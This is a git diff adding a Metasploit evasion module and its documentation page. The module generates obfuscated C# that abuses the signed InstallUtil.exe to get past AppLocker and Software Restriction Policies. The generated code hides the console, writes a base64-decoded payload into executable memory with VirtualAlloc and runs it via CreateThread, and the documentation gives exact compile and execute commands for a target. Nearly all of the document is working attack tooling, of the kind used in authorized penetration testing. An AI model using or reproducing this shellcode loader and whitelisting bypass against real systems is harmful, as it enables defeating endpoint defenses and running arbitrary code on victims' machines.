diff --git a/documentation/modules/evasion/windows/applocker_evasion_install_util.md b/documentation/modules/evasion/windows/applocker_evasion_install_util.md
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+## Intro
+
+This module is designed to evade solutions such as software restriction policies and Applocker.
+Applocker in its default configuration will block code in the form of executables (.exe and .com, .msi), scripts (.ps1, .vbs, .js) and dll's from running in user controlled directories.
+Applocker enforces this by employing whitelisting, in that code can only be run from the protected directories and sub directories of "Program Files" and "Windows"
+The main vector for this bypass is to use the trusted binary InstallUtil.exe to execute user supplied code as this binary is located within the trusted Windows directory.
+
+## Vulnerable Application
+
+This evasion will work on all versions of Windows that include .NET versions 3.5 or greater that has solutions such as Applocker or Software Restriction Policies active, that do not explicitly block InstallUtill.exe or the "Microsoft.Net" directory.
+
+## Options
+
+- **FILENAME** - Filename for the evasive file (default: install_util.txt).
+
+## Verification Steps
+
+  1. Start `msfconsole`
+  2. Do: `use evasion/windows/applocker_evasion_install_util`
+  3. Do: `set PAYLOAD <payload>`
+  4. Do: `run`
+  5. The module will now display instructions of how to proceed
+  6. `[+] install_util.txt stored at /root/.msf4/local/install_util.txt`
+  7. `[*] Copy install_util.txt to the target`
+  8. `[*] Compile using: C:\Windows\Microsoft.Net\Framework64\[.NET Version]\csc.exe /out:installutil.exe install_util.txt` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319").
+  9. `[*] Execute using: C:\Windows\Microsoft.Net\Framework64\[.NET Version]\InstallUtil.exe /logfile= /LogToConsole=false /U installutil.exe` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319").
+
+## References
+
+https://attack.mitre.org/techniques/T1118/
diff --git a/modules/evasion/windows/applocker_evasion_install_util.rb b/modules/evasion/windows/applocker_evasion_install_util.rb
new file mode 100644
index 000000000000..d7aec6add78c
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+++ b/modules/evasion/windows/applocker_evasion_install_util.rb
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+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Evasion
+
+  def initialize(info={})
+    super(
+      update_info(
+        info,
+          'Name'        => 'Applocker Evasion - .NET Framework Installation Utility',
+          'Description' => %(
+                             This module will assist you in evading Microsoft Windows
+                             Applocker and Software Restriction Policies.
+                             This technique utilises the Microsoft signed binary
+                             InstallUtil.exe to execute user supplied code.
+                           ),
+          'Author'      =>
+            [
+              'Nick Tyrer <@NickTyrer>', # module development
+              'Casey Smith' # install_util bypass research
+            ],
+          'License'     => 'MSF_LICENSE',
+          'Platform'    => 'win',
+          'Arch'        => [ARCH_X86, ARCH_X64],
+          'Targets'     => [['Microsoft Windows', {}]],
+          'References'  => [['URL', 'https://attack.mitre.org/techniques/T1118/']]
+      )
+    )
+
+    register_options(
+      [
+        OptString.new('FILENAME', [true, 'Filename for the evasive file (default: install_util.txt)', 'install_util.txt'])
+      ]
+    )
+  end
+
+  def build_payload
+    Rex::Text.encode_base64(payload.encoded)
+  end
+
+  def obfu
+    Rex::Text.rand_text_alpha 8
+  end
+
+  def install_util
+    esc = build_payload
+    mod = [obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu]
+    <<~HEREDOC
+      using System;
+      namespace #{mod[12]}
+      {
+      public class #{mod[11]} { public static void Main() { } }
+      [System.ComponentModel.RunInstaller(true)]
+      public class #{mod[10]} : System.Configuration.Install.Installer
+      {
+      private static Int32 #{mod[0]}=0x1000;
+      private static IntPtr #{mod[1]}=(IntPtr)0x40;
+      private static UInt32 #{mod[2]} = 0xFFFFFFFF;
+      [System.Runtime.InteropServices.DllImport("kernel32")]
+      private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p);
+      [System.Runtime.InteropServices.DllImport("kernel32")]
+      private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id);
+      [System.Runtime.InteropServices.DllImport("kernel32")]
+      private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms);
+      [System.Runtime.InteropServices.DllImport("user32.dll")]
+      static extern bool ShowWindow(IntPtr #{mod[3]}, int nCmdShow);
+      [System.Runtime.InteropServices.DllImport("Kernel32")]
+      private static extern IntPtr GetConsoleWindow();
+      const int #{mod[4]} = 0;
+      public override void Uninstall(System.Collections.IDictionary s)
+      {
+      IntPtr #{mod[3]};
+      #{mod[3]} = GetConsoleWindow();
+      ShowWindow(#{mod[3]}, #{mod[4]});
+      string #{mod[5]} = "#{esc}";
+      byte[] #{mod[6]} = Convert.FromBase64String(#{mod[5]});
+      byte[] #{mod[7]} = #{mod[6]};
+      IntPtr #{mod[8]} = VirtualAlloc(IntPtr.Zero, (UIntPtr)#{mod[7]}.Length, #{mod[0]}, #{mod[1]});
+      System.Runtime.InteropServices.Marshal.Copy(#{mod[7]}, 0, #{mod[8]}, #{mod[7]}.Length);
+      IntPtr #{mod[9]} = IntPtr.Zero;
+      WaitForSingleObject(CreateThread(#{mod[9]}, UIntPtr.Zero, #{mod[8]}, #{mod[9]}, 0, ref #{mod[9]}), #{mod[2]});
+      }
+      }
+      }
+    HEREDOC
+  end
+
+  def file_format_filename(name = '')
+    name.empty? ? @fname : @fname = name
+  end
+
+  def create_files
+    f1 = datastore['FILENAME'].empty? ? 'install_util.txt' : datastore['FILENAME']
+    f1 << '.txt' unless f1.downcase.end_with?('.txt')
+    file1 = install_util
+    file_format_filename(f1)
+    file_create(file1)
+  end
+
+  def instructions
+    print_status "Copy #{datastore['FILENAME']} to the target"
+    if payload.arch.first == ARCH_X86
+      print_status "Compile using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\csc.exe /out:#{datastore['FILENAME'].gsub('.txt', '.exe')} #{datastore['FILENAME']}"
+      print_status "Execute using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\InstallUtil.exe /logfile= /LogToConsole=false /U #{datastore['FILENAME'].gsub('.txt', '.exe')}"
+    else
+      print_status "Compile using: C:\\Windows\\Microsoft.Net\\Framework64\\[.NET Version]\\csc.exe /out:#{datastore['FILENAME'].gsub('.txt', '.exe')} #{datastore['FILENAME']}"
+      print_status "Execute using: C:\\Windows\\Microsoft.Net\\Framework64\\[.NET Version]\\InstallUtil.exe /logfile= /LogToConsole=false /U #{datastore['FILENAME'].gsub('.txt', '.exe')}"
+    end
+  end
+
+  def run
+    create_files
+    instructions
+  end
+end